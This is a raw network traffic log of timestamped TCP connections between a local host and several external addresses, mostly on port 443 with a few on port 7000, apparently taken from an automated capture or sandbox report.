Jan 2, 2025 20:11:22.065036058 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.065104008 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.065351009 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.065368891 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.530906916 CET	443	56125	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:22.531029940 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:22.531653881 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:22.531675100 CET	443	56125	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:22.531943083 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:22.531953096 CET	443	56125	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:22.574359894 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.574517012 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.575145960 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.575155020 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.575385094 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.575390100 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.672662973 CET	443	56129	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:22.672871113 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:22.673459053 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:22.673470020 CET	443	56129	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:22.673782110 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:22.673789978 CET	443	56129	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:22.708585024 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.708674908 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.709192038 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.709203005 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.709378958 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.709384918 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.999265909 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.999334097 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.999411106 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.999428988 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.999476910 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.999527931 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.999532938 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.999548912 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:22.999578953 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:22.999605894 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.000771999 CET	56126	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.000786066 CET	443	56126	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.034269094 CET	443	56125	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.034339905 CET	443	56125	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.034410954 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.034456968 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.034496069 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.034523010 CET	443	56125	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.034543037 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.034604073 CET	56125	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.035082102 CET	56131	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.035125017 CET	443	56131	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.035207033 CET	56131	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.035538912 CET	56131	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.035550117 CET	443	56131	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.035563946 CET	56132	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.035595894 CET	443	56132	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.035744905 CET	56132	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.035882950 CET	56132	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.035892010 CET	443	56132	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.053617001 CET	443	56129	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.053708076 CET	443	56129	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.053845882 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.053845882 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.054013968 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.054013968 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.054037094 CET	443	56129	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.054476976 CET	56129	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.054876089 CET	56133	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.054922104 CET	443	56133	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.055013895 CET	56133	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.055408001 CET	56133	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.055425882 CET	443	56133	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.137428045 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.137492895 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.137579918 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.137614965 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.137628078 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.137631893 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.137679100 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.138510942 CET	56130	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.138533115 CET	443	56130	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.139034033 CET	56134	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.139086008 CET	443	56134	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.139194965 CET	56134	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.139399052 CET	56134	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.139413118 CET	443	56134	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.299535036 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:23.305807114 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:23.644982100 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:23.646729946 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:11:23.651592016 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:11:23.666918993 CET	443	56131	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.667133093 CET	56131	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.667552948 CET	56131	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.667560101 CET	443	56131	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.667815924 CET	443	56132	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.667965889 CET	56132	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.668190956 CET	56132	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.668196917 CET	443	56132	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.669513941 CET	56131	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.669519901 CET	443	56131	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.670114040 CET	56132	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.670124054 CET	443	56132	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.696737051 CET	443	56133	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.696959019 CET	56133	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.697213888 CET	56133	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.697225094 CET	443	56133	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.697362900 CET	56133	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.697369099 CET	443	56133	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.769805908 CET	443	56134	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.769917965 CET	56134	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.770900965 CET	56134	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.770915031 CET	443	56134	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.771105051 CET	56134	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.771111012 CET	443	56134	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:23.800545931 CET	56134	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.800556898 CET	56131	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:23.800556898 CET	56132	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.800559998 CET	56133	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.804636002 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.804681063 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.804779053 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.805629969 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.805648088 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.806420088 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.806488991 CET	443	56136	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:23.806560040 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.807360888 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:23.807379961 CET	443	56136	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.447222948 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.447335005 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.447827101 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.447838068 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.448072910 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.448087931 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.451870918 CET	443	56136	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.451993942 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.452320099 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.452338934 CET	443	56136	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.452537060 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.452544928 CET	443	56136	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.843257904 CET	443	56136	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.843419075 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.843566895 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.843602896 CET	443	56136	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.843658924 CET	56136	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.844248056 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.844286919 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.844352961 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.844583035 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.844594955 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.844603062 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.844767094 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.844783068 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.844826937 CET	443	56135	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.844926119 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.844926119 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.845177889 CET	56135	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.845563889 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.845608950 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.845716953 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:24.845717907 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.845746994 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:24.845798016 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:24.845861912 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:24.845875978 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:24.846184969 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:24.846194029 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:24.846894979 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:24.846941948 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:24.846999884 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:24.847184896 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:24.847196102 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.476327896 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.476516008 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.477149010 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.477220058 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.477636099 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.477719069 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.478049040 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.478070974 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.479837894 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.479844093 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.480565071 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.480580091 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.480942011 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.481017113 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.481528997 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.498869896 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.499017954 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.499686003 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.499789000 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.501446962 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.501532078 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.501547098 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.501590967 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.501828909 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.501912117 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.501913071 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.501921892 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.502068996 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.502077103 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.502269030 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.523334980 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.543344021 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.856590033 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.856669903 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.856729984 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.856756926 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.856931925 CET	56139	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.856951952 CET	443	56139	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.857610941 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.857636929 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.857712984 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.858110905 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.858123064 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.894184113 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.894364119 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.894392967 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.894440889 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.894512892 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.894547939 CET	443	56138	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.894614935 CET	56138	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.895157099 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.895193100 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.895261049 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.895526886 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:25.895540953 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:25.898900032 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.898957014 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.898976088 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.898992062 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.899008036 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.899063110 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.899068117 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.899116039 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.900222063 CET	56140	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.900240898 CET	443	56140	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.900645018 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.900681019 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:25.900770903 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.900983095 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:25.900995970 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.058851957 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.058907986 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.059000015 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.059015989 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.059050083 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.059101105 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.062736988 CET	56141	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.062762022 CET	443	56141	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.063389063 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.063441992 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.063577890 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.063761950 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.063775063 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.488573074 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.488733053 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.489346027 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.489536047 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.491333961 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.491343021 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.491575956 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.491642952 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.492094994 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.532299995 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.532402992 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.532460928 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.532475948 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.533023119 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.533034086 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.533201933 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.533262014 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.533298969 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.533304930 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.535317898 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.535329103 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.535583973 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.535639048 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.535970926 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.539323092 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.579328060 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.711035013 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.711282015 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.712114096 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.712126017 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.712357998 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.712378025 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.878442049 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.878536940 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.878561974 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.878591061 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.878758907 CET	56144	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.878778934 CET	443	56144	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.879363060 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.879431009 CET	443	56148	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.879528999 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.879798889 CET	56148	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.879827976 CET	443	56148	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.915209055 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.915333033 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.915565968 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.915612936 CET	443	56145	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.915688038 CET	56145	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.916143894 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.916177988 CET	443	56149	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.916250944 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.916475058 CET	56149	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:11:26.916484118 CET	443	56149	142.250.74.206	192.168.2.7
Jan 2, 2025 20:11:26.949836016 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.949891090 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.949948072 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.949959993 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.949980021 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.949999094 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.950033903 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.950071096 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.950987101 CET	56146	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.951001883 CET	443	56146	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.951670885 CET	56150	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.951724052 CET	443	56150	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:26.951827049 CET	56150	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.952027082 CET	56150	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:26.952052116 CET	443	56150	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.145037889 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.145096064 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.145154953 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.145173073 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.145195007 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.145219088 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.145226002 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.145236969 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.145289898 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.146229029 CET	56147	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.146250010 CET	443	56147	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.147593975 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.147635937 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.147876024 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.148031950 CET	56151	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:11:27.148046017 CET	443	56151	142.250.185.193	192.168.2.7
Jan 2, 2025 20:11:27.513308048 CET	443	56148	142.250.74.206	192.168.2.7
